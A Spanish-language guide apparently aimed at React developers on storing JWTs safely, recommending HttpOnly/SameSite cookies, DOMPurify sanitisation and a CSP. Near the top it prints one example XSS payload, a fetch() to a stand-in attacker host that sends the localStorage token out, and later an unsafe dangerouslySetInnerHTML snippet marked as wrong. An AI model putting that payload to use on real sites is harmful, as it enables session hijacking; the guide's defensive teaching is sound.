La mayoría de las aplicaciones React guardan el token de sesión (JWT) en localStorage por comodidad. El problema: cualquier vulnerabilidad XSS convierte esa decisión en un secuestro total de la cuenta del usuario. Aquí comparamos las formas de almacenar tokens en el frontend y recomendamos el patrón de cookies HttpOnly + SameSite (idealmente con un BFF), con ejemplos prácticos en React.
El problema
En una aplicación frontend, el token de autenticación es la llave de la sesión del usuario. Si un atacante lo obtiene, puede hacerse pasar por el usuario sin necesitar su contraseña.
El vector de ataque más común para robar ese token es XSS (Cross-Site Scripting): la inyección y ejecución de código JavaScript malicioso en el contexto de tu página. Según OWASP, XSS es una de las vulnerabilidades más extendidas en aplicaciones web, y afecta a cualquier variable que llegue al DOM sin validación ni escape.
El punto crítico es este: si el token vive en localStorage o sessionStorage, es accesible desde JavaScript. Y si es accesible desde JavaScript, un XSS lo lee y lo exfiltra en una sola línea de código:
// Payload de un atacante inyectado vía XSS
fetch('https://atacante.com/roba?t=' + localStorage.getItem('token'));Un único XSS se transforma así en un account takeover completo.
🚫 Impacto medible
localStorage, la ventana de ataque puede ser de días.Contexto
- A quién va dirigido: desarrolladores frontend con nivel intermedio, familiarizados con React y autenticación basada en tokens (JWT).
- Prerrequisitos: conocer qué es un JWT, cómo funciona el flujo de login y nociones básicas de peticiones HTTP.
- Por qué importa ahora: las SPA modernas delegan cada vez más lógica al cliente, y el patrón «guardar el JWT en
localStorage» se ha vuelto un antipatrón repetido en tutoriales, propagando una vulnerabilidad sistémica.
Soluciones existentes
En el frontend existen realmente tres enfoques para manejar el token. No hay una bala de plata: cada uno tiene trade-offs.
localStorage / sessionStorage
- Pros: simple de implementar; el token viaja fácil en cabeceras
Authorization; no hay CSRF. - Contras: totalmente accesible por JavaScript → un XSS roba el token.
- Caso de uso: prototipos, demos, apps sin datos sensibles.
Cookie HttpOnly + SameSite + Secure
- Pros: JavaScript no puede leer la cookie → el XSS no exfiltra el token. Se envía automáticamente.
- Contras: introduce riesgo de CSRF (mitigable con
SameSitey tokens anti-CSRF). Requiere config del backend. - Caso de uso: aplicaciones en producción con datos de usuario reales.
En memoria (variable JS) + refresh vía cookie
- Pros: el access token nunca se persiste; se pierde al recargar (menor superficie).
- Contras: complejidad; requiere refresh token (que debe ir en cookie
HttpOnly). - Caso de uso: apps de alta seguridad que aceptan complejidad extra.
⚠️ Un matiz honesto: ninguna opción hace tu app inmune a XSS
HttpOnly, un atacante con XSS puede realizar acciones en nombre del usuario mientras la sesión está activa (porque la cookie se envía automáticamente). Lo que las cookies HttpOnly sí impiden es la exfiltración del token, es decir, el robo persistente de la credencial. Por eso la defensa real es doble: prevenir el XSS y contener su impacto.Solución recomendada
Almacena el token en una cookie HttpOnly, Secure y SameSite, preferentemente detrás de un BFF (Backend For Frontend), y previene el XSS en origen.
Por qué esta opción
- Una cookie
HttpOnlyes invisible para JavaScript, así que un XSS no puede leerla ni robarla. Esto rompe la cadena «XSS → robo de token → account takeover persistente». SameSite=StrictoLaxmitiga CSRF al limitar cuándo se envía la cookie en peticiones cross-site.Secureobliga a que la cookie solo viaje por HTTPS.
Trade-offs y cuándo NO usarla
- Trade-off: requiere control del backend para setear las cookies y manejar CSRF. No es puramente frontend.
- Cuándo NO usarla: en un prototipo desechable o una demo sin datos reales, la complejidad puede no justificarse;
localStoragees aceptable ahí. - Recordatorio: las cookies no sustituyen a la prevención de XSS. Son la segunda línea de defensa.
Pasos de implementación
1. El backend setea la cookie HttpOnly en el login (ejemplo Express):
// Backend
res.cookie('session', jwt, {
httpOnly: true, // inaccesible desde JavaScript
secure: true, // solo por HTTPS
sameSite: 'strict', // mitiga CSRF
maxAge: 15 * 60 * 1000, // token corto: 15 min
});2. El frontend React hace las peticiones incluyendo credenciales, sin tocar el token:
// El token NUNCA se lee ni se guarda en JS
async function getProfile() {
const res = await fetch('/api/profile', {
method: 'GET',
credentials: 'include', // envía la cookie automáticamente
});
return res.json();
}3. Previene el XSS (la defensa principal). En React:
// ✅ React escapa por defecto: esto es seguro
function Comment({ text }) {
return <p>{text}</p>;
}
// ❌ NUNCA hagas esto con contenido no confiable:
function Danger({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// ✅ Si DEBES renderizar HTML, sanitízalo primero:
import DOMPurify from 'dompurify';
function SafeHtml({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}4. Añade una Content Security Policy (CSP) para limitar qué scripts pueden ejecutarse, como capa adicional de contención:
Content-Security-Policy: default-src 'self'; script-src 'self'
✅ Defensa en profundidad
HttpOnly corta la exfiltración del token; el escape de React y DOMPurify previenen el XSS en origen; la CSP contiene el impacto si algo se cuela. Ninguna capa basta por sí sola: se refuerzan entre sí.Conclusión
Guardar el JWT en localStorage es cómodo pero convierte cualquier XSS en un secuestro de cuenta. La recomendación clara es:
- Almacena el token en una cookie
HttpOnly,Secure,SameSite(idealmente con un BFF). - Previene el XSS en origen: confía en el escape por defecto de React, evita
dangerouslySetInnerHTML, y sanitiza con DOMPurify cuando sea inevitable. - Contén el impacto: tokens de vida corta, CSP y refresh tokens rotativos.
Métricas esperadas: eliminación del vector de exfiltración de token vía XSS (de «cualquier XSS = account takeover persistente» a «el token no es robable desde JS»), y reducción de la ventana de ataque con tokens cortos.
Próximos pasos: audita tu app en busca de usos de dangerouslySetInnerHTML, revisa dónde guardas hoy el token y define una CSP.
Bibliografía
- OWASP — Cross Site Scripting Prevention Cheat Sheet — reglas oficiales de prevención de XSS mediante validación y escape.
- OWASP — Cross Site Scripting (XSS) — definición y tipos de ataques XSS.
- OWASP — DOM based XSS Prevention Cheat Sheet — prevención específica de XSS basado en DOM, relevante para SPAs.
- MDN — HTTP cookies (Set-Cookie, HttpOnly, SameSite, Secure) — referencia oficial de atributos de cookies.
- MDN — Content Security Policy (CSP) — cómo configurar CSP como capa de contención.
- DOMPurify — librería de sanitización de HTML recomendada para el navegador.